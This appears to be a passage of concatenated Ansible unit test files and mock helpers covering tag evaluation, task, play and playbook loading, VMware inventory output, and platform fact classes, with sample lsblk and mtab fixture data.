from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.playbook.taggable import Taggable
from units.mock.loader import DictDataLoader

class TaggableTestObj(Taggable):

    def __init__(self):
        self._loader = DictDataLoader({})
        self.tags = []


class TestTaggable(unittest.TestCase):

    def assert_evaluate_equal(self, test_value, tags, only_tags, skip_tags):
        taggable_obj = TaggableTestObj()
        taggable_obj.tags = tags

        evaluate = taggable_obj.evaluate_tags(only_tags, skip_tags, {})

        self.assertEqual(test_value, evaluate)

    def test_evaluate_tags_tag_in_only_tags(self):
        self.assert_evaluate_equal(True, ['tag1', 'tag2'], ['tag1'], [])

    def test_evaluate_tags_tag_in_skip_tags(self):
        self.assert_evaluate_equal(False, ['tag1', 'tag2'], [], ['tag1'])

    def test_evaluate_tags_special_always_in_object_tags(self):
        self.assert_evaluate_equal(True, ['tag', 'always'], ['random'], [])

    def test_evaluate_tags_tag_in_skip_tags_special_always_in_object_tags(self):
        self.assert_evaluate_equal(False, ['tag', 'always'], ['random'], ['tag'])

    def test_evaluate_tags_special_always_in_skip_tags_and_always_in_tags(self):
        self.assert_evaluate_equal(False, ['tag', 'always'], [], ['always'])

    def test_evaluate_tags_special_tagged_in_only_tags_and_object_tagged(self):
        self.assert_evaluate_equal(True, ['tag'], ['tagged'], [])

    def test_evaluate_tags_special_tagged_in_only_tags_and_object_untagged(self):
        self.assert_evaluate_equal(False, [], ['tagged'], [])

    def test_evaluate_tags_special_tagged_in_skip_tags_and_object_tagged(self):
        self.assert_evaluate_equal(False, ['tag'], [], ['tagged'])

    def test_evaluate_tags_special_tagged_in_skip_tags_and_object_untagged(self):
        self.assert_evaluate_equal(True, [], [], ['tagged'])

    def test_evaluate_tags_special_untagged_in_only_tags_and_object_tagged(self):
        self.assert_evaluate_equal(False, ['tag'], ['untagged'], [])

    def test_evaluate_tags_special_untagged_in_only_tags_and_object_untagged(self):
        self.assert_evaluate_equal(True, [], ['untagged'], [])

    def test_evaluate_tags_special_untagged_in_skip_tags_and_object_tagged(self):
        self.assert_evaluate_equal(True, ['tag'], [], ['untagged'])

    def test_evaluate_tags_special_untagged_in_skip_tags_and_object_untagged(self):
        self.assert_evaluate_equal(False, [], [], ['untagged'])

    def test_evaluate_tags_special_all_in_only_tags(self):
        self.assert_evaluate_equal(True, ['tag'], ['all'], ['untagged'])

    def test_evaluate_tags_special_all_in_skip_tags(self):
        self.assert_evaluate_equal(False, ['tag'], ['tag'], ['all'])

    def test_evaluate_tags_special_all_in_only_tags_and_special_all_in_skip_tags(self):
        self.assert_evaluate_equal(False, ['tag'], ['all'], ['all'])

    def test_evaluate_tags_special_all_in_skip_tags_and_always_in_object_tags(self):
        self.assert_evaluate_equal(True, ['tag', 'always'], [], ['all'])

    def test_evaluate_tags_special_all_in_skip_tags_and_special_always_in_skip_tags_and_always_in_object_tags(self):
        self.assert_evaluate_equal(False, ['tag', 'always'], [], ['all', 'always'])

    def test_evaluate_tags_accepts_lists(self):
        self.assert_evaluate_equal(True, ['tag1', 'tag2'], ['tag2'], [])

    def test_evaluate_tags_accepts_strings(self):
        self.assert_evaluate_equal(True, 'tag1,tag2', ['tag2'], [])

    def test_evaluate_tags_with_repeated_tags(self):
        self.assert_evaluate_equal(False, ['tag', 'tag'], [], ['tag'])






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.playbook.task import Task
from ansible.compat.tests import unittest

basic_shell_task = dict(
   name  = 'Test Task',
   shell = 'echo hi'
)

kv_shell_task = dict(
   action = 'shell echo hi'
)

class TestTask(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_construct_empty_task(self):
        t = Task()

    def test_construct_task_with_role(self):
        pass

    def test_construct_task_with_block(self):
        pass

    def test_construct_task_with_role_and_block(self):
        pass

    def test_load_task_simple(self):
        t = Task.load(basic_shell_task)
        assert t is not None
        self.assertEqual(t.name, basic_shell_task['name'])
        self.assertEqual(t.action, 'command')
        self.assertEqual(t.args, dict(_raw_params='echo hi', _uses_shell=True))

    def test_load_task_kv_form(self):
        t = Task.load(kv_shell_task)
        self.assertEqual(t.action, 'command')
        self.assertEqual(t.args, dict(_raw_params='echo hi', _uses_shell=True))

    def test_task_auto_name(self):
        assert 'name' not in kv_shell_task
        t = Task.load(kv_shell_task)
        #self.assertEqual(t.name, 'shell echo hi')

    def test_task_auto_name_with_role(self):
        pass

    def test_load_task_complex_form(self):
        pass

    def test_can_load_module_complex_form(self):
        pass

    def test_local_action_implies_delegate(self):
        pass

    def test_local_action_conflicts_with_delegate(self):
        pass

    def test_delegate_to_parses(self):
        pass






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.playbook.block import Block
from ansible.playbook.play import Play
from ansible.playbook.role import Role

from units.mock.loader import DictDataLoader
from units.mock.path import mock_unfrackpath_noop


class TestPlay(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_empty_play(self):
        p = Play.load(dict())
        self.assertEqual(str(p), '')

    def test_basic_play(self):
        p = Play.load(dict(
            name="test play",
            hosts=['foo'],
            gather_facts=False,
            connection='local',
            remote_user="root",
            sudo=True,
            sudo_user="testing",
        ))

    def test_play_with_user_conflict(self):
        p = Play.load(dict(
            name="test play",
            hosts=['foo'],
            user="testing",
            gather_facts=False,
        ))
        self.assertEqual(p.remote_user, "testing")

    def test_play_with_user_conflict(self):
        play_data = dict(
            name="test play",
            hosts=['foo'],
            user="testing",
            remote_user="testing",
        )
        self.assertRaises(AnsibleParserError, Play.load, play_data)

    def test_play_with_tasks(self):
        p = Play.load(dict(
            name="test play",
            hosts=['foo'],
            gather_facts=False,
            tasks=[dict(action='shell echo "hello world"')], 
        ))

    def test_play_with_handlers(self):
        p = Play.load(dict(
            name="test play",
            hosts=['foo'],
            gather_facts=False,
            handlers=[dict(action='shell echo "hello world"')],
        ))

    def test_play_with_pre_tasks(self):
        p = Play.load(dict(
            name="test play",
            hosts=['foo'],
            gather_facts=False,
            pre_tasks=[dict(action='shell echo "hello world"')],
        ))

    def test_play_with_post_tasks(self):
        p = Play.load(dict(
            name="test play",
            hosts=['foo'],
            gather_facts=False,
            post_tasks=[dict(action='shell echo "hello world"')],
        ))

    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_play_with_roles(self):
        fake_loader = DictDataLoader({
            '/etc/ansible/roles/foo/tasks.yml': """
            - name: role task
              shell: echo "hello world"
            """,
        })

        mock_var_manager = MagicMock()
        mock_var_manager.get_vars.return_value = dict()

        p = Play.load(dict(
            name="test play",
            hosts=['foo'],
            gather_facts=False,
            roles=['foo'],
        ), loader=fake_loader, variable_manager=mock_var_manager)

        blocks = p.compile()

    def test_play_compile(self):
        p = Play.load(dict(
            name="test play",
            hosts=['foo'],
            gather_facts=False,
            tasks=[dict(action='shell echo "hello world"')],
        ))

        blocks = p.compile()

        # with a single block, there will still be three
        # implicit meta flush_handler blocks inserted
        self.assertEqual(len(blocks), 4)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.playbook import Playbook
from ansible.vars import VariableManager

from units.mock.loader import DictDataLoader

class TestPlaybook(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_empty_playbook(self):
        fake_loader = DictDataLoader({})
        p = Playbook(loader=fake_loader)

    def test_basic_playbook(self):
        fake_loader = DictDataLoader({
            "test_file.yml":"""
            - hosts: all
            """,
        })
        p = Playbook.load("test_file.yml", loader=fake_loader)
        plays = p.get_plays()

    def test_bad_playbook_files(self):
        fake_loader = DictDataLoader({
            # represents a playbook which is not a list of plays
            "bad_list.yml": """
            foo: bar

            """,
            # represents a playbook where a play entry is mis-formatted
            "bad_entry.yml": """
            -
              - "This should be a mapping..."

            """,
        })
        vm = VariableManager()
        self.assertRaises(AnsibleParserError, Playbook.load, "bad_list.yml", vm, fake_loader)
        self.assertRaises(AnsibleParserError, Playbook.load, "bad_entry.yml", vm, fake_loader)






# (c) 2016, Matt Davis <mdavis@ansible.com>
# (c) 2016, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import sys
import json

from contextlib import contextmanager
from io import BytesIO, StringIO
from ansible.compat.six import PY3
from ansible.compat.tests import unittest
from ansible.utils.unicode import to_bytes

@contextmanager
def swap_stdin_and_argv(stdin_data='', argv_data=tuple()):
    """
    context manager that temporarily masks the test runner's values for stdin and argv
    """
    real_stdin = sys.stdin

    if PY3:
        sys.stdin = StringIO(stdin_data)
        sys.stdin.buffer = BytesIO(to_bytes(stdin_data))
    else:
        sys.stdin = BytesIO(to_bytes(stdin_data))

    real_argv = sys.argv
    sys.argv = argv_data
    yield
    sys.stdin = real_stdin
    sys.argv = real_argv

@contextmanager
def swap_stdout():
    """
    context manager that temporarily replaces stdout for tests that need to verify output
    """
    old_stdout = sys.stdout
    fake_stream = BytesIO()
    sys.stdout = fake_stream
    yield fake_stream
    sys.stdout = old_stdout

class ModuleTestCase(unittest.TestCase):
    def setUp(self, module_args=None):
        if module_args is None:
            module_args = {}

        args = json.dumps(dict(ANSIBLE_MODULE_ARGS=module_args))

        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap = swap_stdin_and_argv(stdin_data=args)
        self.stdin_swap.__enter__()

    def tearDown(self):
        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap.__exit__(None, None, None)






#!/usr/bin/env python

def mock_unfrackpath_noop(path):
    ''' Do not expand the path '''
    return path






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.errors import AnsibleParserError
from ansible.parsing.dataloader import DataLoader

class DictDataLoader(DataLoader):

    def __init__(self, file_mapping=dict()):
        assert type(file_mapping) == dict

        super(DictDataLoader, self).__init__()

        self._file_mapping = file_mapping
        self._build_known_directories()

    def load_from_file(self, path):
        if path in self._file_mapping:
            return self.load(self._file_mapping[path], path)
        return None

    def _get_file_contents(self, path):
        if path in self._file_mapping:
            return (self._file_mapping[path], False)
        else:
            raise AnsibleParserError("file not found: %s" % path)

    def path_exists(self, path):
        return path in self._file_mapping or path in self._known_directories

    def is_file(self, path):
        return path in self._file_mapping

    def is_directory(self, path):
        return path in self._known_directories

    def list_directory(self, path):
        return [x for x in self._known_directories]

    def is_executable(self, path):
        # FIXME: figure out a way to make paths return true for this
        return False

    def _add_known_directory(self, directory):
        if directory not in self._known_directories:
            self._known_directories.append(directory)

    def _build_known_directories(self):
        self._known_directories  = []
        for path in self._file_mapping:
            dirname = os.path.dirname(path)
            while dirname not in ('/', ''):
                self._add_known_directory(dirname)
                dirname = os.path.dirname(dirname)

    def push(self, path, content):
        rebuild_dirs = False
        if path not in self._file_mapping:
            rebuild_dirs = True

        self._file_mapping[path] = content

        if rebuild_dirs:
            self._build_known_directories()

    def pop(self, path):
        if path in self._file_mapping:
            del self._file_mapping[path]
            self._build_known_directories()

    def clear(self):
        self._file_mapping = dict()
        self._known_directories = []







# Copyright 2016 Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from collections import Mapping

def make_method(func, args, kwargs):

    def test_method(self):
        func(self, *args, **kwargs)

    # Format the argument string
    arg_string = ', '.join(repr(a) for a in args)
    kwarg_string = ', '.join('{0}={1}'.format(item[0], repr(item[1])) for item in kwargs.items())
    arg_list = []
    if arg_string:
        arg_list.append(arg_string)
    if kwarg_string:
        arg_list.append(kwarg_string)

    test_method.__name__ = 'test_{0}({1})'.format(func.__name__, ', '.join(arg_list))
    return test_method


def add_method(func, *combined_args):
    """
    Add a test case via a class decorator.

    nose uses generators for this but doesn't work with unittest.TestCase
    subclasses.  So we have to write our own.

    The first argument to this decorator is a test function.  All subsequent
    arguments are the arguments to create each generated test function with in
    the following format:

    Each set of arguments is a two-tuple.  The first element is an iterable of
    positional arguments.  the second is a dict representing the kwargs.
    """
    def wrapper(cls):
        for combined_arg in combined_args:
            if len(combined_arg) == 2:
                args = combined_arg[0]
                kwargs = combined_arg[1]
            elif isinstance(combined_arg[0], Mapping):
                args = []
                kwargs = combined_arg[0]
            else:
                args = combined_arg[0]
                kwargs = {}
            test_method = make_method(func, args, kwargs)
            setattr(cls, test_method.__name__, test_method)
        return cls

    return wrapper


















#!/usr/bin/env python

import json
import os
import pickle
import unittest
import sys


# contrib's dirstruct doesn't contain __init__.py files
checkout_path = os.path.dirname(__file__)
checkout_path = checkout_path.replace('/test/units/contrib/inventory', '')
inventory_dir = os.path.join(checkout_path, 'contrib', 'inventory')
sys.path.append(os.path.abspath(inventory_dir))
from vmware_inventory import VMWareInventory 
# cleanup so that nose's path is not polluted with other inv scripts
sys.path.remove(os.path.abspath(inventory_dir))




BASICINVENTORY = {'all': {'hosts': ['foo', 'bar']},
                  '_meta': { 'hostvars': { 'foo': {'hostname': 'foo'},
                                           'bar': {'hostname': 'bar'}}
                           }
                 }

class FakeArgs(object):
    debug = False
    write_dumpfile = None
    load_dumpfile = None
    host = False
    list = True

class TestVMWareInventory(unittest.TestCase):

    def test_host_info_returns_single_host(self):
        vmw = VMWareInventory(load=False)
        vmw.inventory = BASICINVENTORY
        foo = vmw.get_host_info('foo')
        bar = vmw.get_host_info('bar')
        assert foo == {'hostname': 'foo'}
        assert bar == {'hostname': 'bar'}

    def test_show_returns_serializable_data(self):
        fakeargs = FakeArgs()
        vmw = VMWareInventory(load=False)
        vmw.args = fakeargs
        vmw.inventory = BASICINVENTORY
        showdata = vmw.show()        
        serializable = False

        try:
            json.loads(showdata)
            serializable = True
        except:
            pass
        assert serializable
        #import epdb; epdb.st()

    def test_show_list_returns_serializable_data(self):
        fakeargs = FakeArgs()
        vmw = VMWareInventory(load=False)
        vmw.args = fakeargs
        vmw.args.list = True
        vmw.inventory = BASICINVENTORY
        showdata = vmw.show()        
        serializable = False

        try:
            json.loads(showdata)
            serializable = True
        except:
            pass
        assert serializable
        #import epdb; epdb.st()

    def test_show_list_returns_all_data(self):
        fakeargs = FakeArgs()
        vmw = VMWareInventory(load=False)
        vmw.args = fakeargs
        vmw.args.list = True
        vmw.inventory = BASICINVENTORY
        showdata = vmw.show()        
        expected = json.dumps(BASICINVENTORY, indent=2)
        assert showdata == expected

    def test_show_host_returns_serializable_data(self):
        fakeargs = FakeArgs()
        vmw = VMWareInventory(load=False)
        vmw.args = fakeargs
        vmw.args.host = 'foo'
        vmw.inventory = BASICINVENTORY
        showdata = vmw.show()        
        serializable = False

        try:
            json.loads(showdata)
            serializable = True
        except:
            pass
        assert serializable
        #import epdb; epdb.st()

    def test_show_host_returns_just_host(self):
        fakeargs = FakeArgs()
        vmw = VMWareInventory(load=False)
        vmw.args = fakeargs
        vmw.args.list = False
        vmw.args.host = 'foo'
        vmw.inventory = BASICINVENTORY
        showdata = vmw.show()        
        expected = BASICINVENTORY['_meta']['hostvars']['foo']
        expected = json.dumps(expected, indent=2)
        #import epdb; epdb.st()
        assert showdata == expected




if __name__ == '__main__':
    unittest.main()






# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

# for testing
from ansible.compat.tests import unittest
from ansible.compat.tests.mock import Mock, patch

from ansible.module_utils import facts


class BaseTestFactsPlatform(unittest.TestCase):
    platform_id = 'Generic'
    fact_class = facts.Hardware

    """Verify that the automagic in Hardware.__new__ selects the right subclass."""
    @patch('platform.system')
    def test_new(self, mock_platform):
        mock_platform.return_value = self.platform_id
        inst = self.fact_class(module=Mock(), load_on_init=False)
        self.assertIsInstance(inst, self.fact_class)
        self.assertEqual(inst.platform, self.platform_id)

    def test_subclass(self):
        # 'Generic' will try to map to platform.system() that we are not mocking here
        if self.platform_id == 'Generic':
            return
        inst = self.fact_class(module=Mock(), load_on_init=False)
        self.assertIsInstance(inst, self.fact_class)
        self.assertEqual(inst.platform, self.platform_id)


class TestLinuxFactsPlatform(BaseTestFactsPlatform):
    platform_id = 'Linux'
    fact_class = facts.LinuxHardware


class TestSunOSHardware(BaseTestFactsPlatform):
    platform_id = 'SunOS'
    fact_class = facts.SunOSHardware


class TestOpenBSDHardware(BaseTestFactsPlatform):
    platform_id = 'OpenBSD'
    fact_class = facts.OpenBSDHardware


class TestFreeBSDHardware(BaseTestFactsPlatform):
    platform_id = 'FreeBSD'
    fact_class = facts.FreeBSDHardware


class TestDragonFlyHardware(BaseTestFactsPlatform):
    platform_id = 'DragonFly'
    fact_class = facts.DragonFlyHardware


class TestNetBSDHardware(BaseTestFactsPlatform):
    platform_id = 'NetBSD'
    fact_class = facts.NetBSDHardware


class TestAIXHardware(BaseTestFactsPlatform):
    platform_id = 'AIX'
    fact_class = facts.AIX


class TestHPUXHardware(BaseTestFactsPlatform):
    platform_id = 'HP-UX'
    fact_class = facts.HPUX


class TestDarwinHardware(BaseTestFactsPlatform):
    platform_id = 'Darwin'
    fact_class = facts.Darwin


class TestGenericNetwork(BaseTestFactsPlatform):
    platform_id = 'Generic'
    fact_class = facts.Network


class TestLinuxNetwork(BaseTestFactsPlatform):
    platform_id = 'Generic'
    fact_class = facts.Network


class TestGenericBsdIfconfigNetwork(BaseTestFactsPlatform):
    platform_id = 'Generic_BSD_Ifconfig'
    fact_class = facts.GenericBsdIfconfigNetwork


class TestHPUXNetwork(BaseTestFactsPlatform):
    platform_id = 'HP-UX'
    fact_class = facts.HPUXNetwork


class TestDarwinNetwork(BaseTestFactsPlatform):
    platform_id = 'Darwin'
    fact_class = facts.DarwinNetwork


class TestFreeBSDNetwork(BaseTestFactsPlatform):
    platform_id = 'FreeBSD'
    fact_class = facts.FreeBSDNetwork


class TestDragonFlyNetwork(BaseTestFactsPlatform):
    platform_id = 'DragonFly'
    fact_class = facts.DragonFlyNetwork


class TestAIXNetwork(BaseTestFactsPlatform):
    platform_id = 'AIX'
    fact_class = facts.AIXNetwork


class TestOpenBSDNetwork(BaseTestFactsPlatform):
    platform_id = 'OpenBSD'
    fact_class = facts.OpenBSDNetwork


class TestSunOSNetwork(BaseTestFactsPlatform):
    platform_id = 'SunOS'
    fact_class = facts.SunOSNetwork


class TestLinuxVirtual(BaseTestFactsPlatform):
    platform_id = 'Linux'
    fact_class = facts.LinuxVirtual


class TestFreeBSDVirtual(BaseTestFactsPlatform):
    platform_id = 'FreeBSD'
    fact_class = facts.FreeBSDNetwork


class TestDragonFlyVirtual(BaseTestFactsPlatform):
    platform_id = 'DragonFly'
    fact_class = facts.DragonFlyNetwork


class TestOpenBSDVirtual(BaseTestFactsPlatform):
    platform_id = 'OpenBSD'
    fact_class = facts.OpenBSDVirtual


class TestHPUXVirtual(BaseTestFactsPlatform):
    platform_id = 'HP-UX'
    fact_class = facts.HPUXVirtual


class TestSunOSVirtual(BaseTestFactsPlatform):
    platform_id = 'SunOS'
    fact_class = facts.SunOSVirtual


LSBLK_OUTPUT = b"""
/dev/sda
/dev/sda1                             32caaec3-ef40-4691-a3b6-438c3f9bc1c0
/dev/sda2                             66Ojcd-ULtu-1cZa-Tywo-mx0d-RF4O-ysA9jK
/dev/mapper/fedora_dhcp129--186-swap  eae6059d-2fbe-4d1c-920d-a80bbeb1ac6d
/dev/mapper/fedora_dhcp129--186-root  d34cf5e3-3449-4a6c-8179-a1feb2bca6ce
/dev/mapper/fedora_dhcp129--186-home  2d3e4853-fa69-4ccf-8a6a-77b05ab0a42d
/dev/sr0
/dev/loop0                            0f031512-ab15-497d-9abd-3a512b4a9390
/dev/loop1                            7c1b0f30-cf34-459f-9a70-2612f82b870a
/dev/loop9                            0f031512-ab15-497d-9abd-3a512b4a9390
/dev/loop9                            7c1b4444-cf34-459f-9a70-2612f82b870a
/dev/mapper/docker-253:1-1050967-pool
/dev/loop2
/dev/mapper/docker-253:1-1050967-pool
"""

LSBLK_OUTPUT_2  = b"""
/dev/sda
/dev/sda1                            32caaec3-ef40-4691-a3b6-438c3f9bc1c0
/dev/sda2                            66Ojcd-ULtu-1cZa-Tywo-mx0d-RF4O-ysA9jK
/dev/mapper/fedora_dhcp129--186-swap eae6059d-2fbe-4d1c-920d-a80bbeb1ac6d
/dev/mapper/fedora_dhcp129--186-root d34cf5e3-3449-4a6c-8179-a1feb2bca6ce
/dev/mapper/fedora_dhcp129--186-home 2d3e4853-fa69-4ccf-8a6a-77b05ab0a42d
/dev/mapper/an-example-mapper with a space in the name 84639acb-013f-4d2f-9392-526a572b4373
/dev/sr0
/dev/loop0                           0f031512-ab15-497d-9abd-3a512b4a9390
"""

LSBLK_UUIDS = {'/dev/sda1': '66Ojcd-ULtu-1cZa-Tywo-mx0d-RF4O-ysA9jK'}

MTAB = """
sysfs /sys sysfs rw,seclabel,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
devtmpfs /dev devtmpfs rw,seclabel,nosuid,size=8044400k,nr_inodes=2011100,mode=755 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,seclabel,nosuid,nodev 0 0
devpts /dev/pts devpts rw,seclabel,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,seclabel,nosuid,nodev,mode=755 0 0
tmpfs /sys/fs/cgroup tmpfs ro,seclabel,nosuid,nodev,noexec,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,seclabel,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
configfs /sys/kernel/config configfs rw,relatime 0 0
/dev/mapper/fedora_dhcp129--186-root / ext4 rw,seclabel,relatime,data=ordered 0 0
selinuxfs /sys/fs/selinux selinuxfs rw,relatime 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=24,pgrp=1,timeout=0,minproto=5,maxproto=5,direct 0 0
debugfs /sys/kernel/debug debugfs rw,seclabel,relatime 0 0
hugetlbfs /dev/hugepages hugetlbfs rw,seclabel,relatime 0 0
tmpfs /tmp tmpfs rw,seclabel 0 0
mqueue /dev/mqueue mqueue rw,seclabel,relatime 0 0
/dev/loop0 /var/lib/machines btrfs rw,seclabel,relatime,space_cache,subvolid=5,subvol=/ 0 0
/dev/sda1 /boot ext4 rw,seclabel,relatime,data=ordered 0 0
/dev/mapper/fedora_dhcp129--186-home /home ext4 rw,seclabel,relatime,data=ordered 0 0
tmpfs /run/user/1000 tmpfs rw,seclabel,nosuid,nodev,relatime,size=1611044k,mode=700,uid=1000,gid=1000 0 0
gvfsd-fuse /run/user/1000/gvfs fuse.gvfsd-fuse rw,nosuid,nodev,relatime,user_id=1000,group_id=1000 0 0
fusectl /sys/fs/fuse/connections fusectl rw,relatime 0 0
"""

MTAB_ENTRIES = \
    [
        ['sysfs',
         '/sys',
         'sysfs',
         'rw,seclabel,nosuid,nodev,noexec,relatime',
         '0',
         '0'],
        ['proc', '/proc', 'proc', 'rw,nosuid,nodev,noexec,relatime', '0', '0'],
        ['devtmpfs',
         '/dev',
         'devtmpfs',
         'rw,seclabel,nosuid,size=8044400k,nr_inodes=2011100,mode=755',
         '0',
         '0'],
        ['securityfs',
         '/sys/kernel/security',
         'securityfs',
         'rw,nosuid,nodev,noexec,relatime',
         '0',
         '0'],
        ['tmpfs', '/dev/shm', 'tmpfs', 'rw,seclabel,nosuid,nodev', '0', '0'],
        ['devpts',
         '/dev/pts',
         'devpts',
         'rw,seclabel,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000',
         '0',
         '0'],
        ['tmpfs', '/run', 'tmpfs', 'rw,seclabel,nosuid,nodev,mode=755', '0', '0'],
        ['tmpfs',
         '/sys/fs/cgroup',
         'tmpfs',
         'ro,seclabel,nosuid,nodev,noexec,mode=755',
         '0',
         '0'],
        ['cgroup',
         '/sys/fs/cgroup/systemd',
         'cgroup',
         'rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd',
         '0',
         '0'],
